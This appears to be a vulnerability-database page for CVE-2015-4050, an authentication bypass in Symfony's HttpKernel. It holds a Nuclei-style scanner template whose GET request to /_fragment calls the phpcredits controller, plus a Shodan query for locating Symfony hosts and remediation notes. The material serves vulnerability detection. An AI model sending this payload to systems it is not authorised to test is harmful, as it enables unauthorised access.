CVE-2015-4050: Symfony - Authentication Bypass

2025-08-01 Symfony PoC Public

Description

Symfony 2.3.19 through 2.3.28, 2.4.9 through 2.4.10, 2.5.4 through 2.5.11, and 2.6.0 through 2.6.7, when ESI or SSI support enabled, does not check if the _controller attribute is set, which allows remote attackers to bypass URL signing and security rules by including (1) no hash or (2) an invalid hash in a request to /_fragment in the HttpKernel component.

PoC

id: CVE-2015-4050

info:
  name: Symfony - Authentication Bypass
  author: ELSFA7110,meme-lord
  severity: medium
  description: Symfony 2.3.19 through 2.3.28, 2.4.9 through 2.4.10, 2.5.4 through 2.5.11, and 2.6.0 through 2.6.7, when ESI or SSI support enabled, does not check if the _controller attribute is set, which allows remote attackers to bypass URL signing and security rules by including (1) no hash or (2) an invalid hash in a request to /_fragment in the HttpKernel component.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the affected system.
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Symfony.
  reference:
    - https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access
    - http://symfony.com/blog/cve-2015-4050-esi-unauthorized-access
    - http://www.debian.org/security/2015/dsa-3276
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4050
    - http://lists.fedoraproject.org/pipermail/package-announce/2015-June/159513.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-4050
    cwe-id: CWE-284
    epss-score: 0.08211
    epss-percentile: 0.94589
    cpe: cpe:2.3:a:sensiolabs:symfony:2.3.19:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sensiolabs
    product: symfony
    shodan-query: cpe:"cpe:2.3:a:sensiolabs:symfony"
  tags: cve2015,cve,symfony,rce,sensiolabs,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/_fragment?_path=_controller=phpcredits&flag=-1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Credits"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100826ffe2365abaef4ed3f03ec41fafd1d2a138d68be02561f105ed7702bdade1d022058ecfe2b103d5a12dfc96d7ea57d95ac3c420ef770d1887814ba2ecf202db036:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities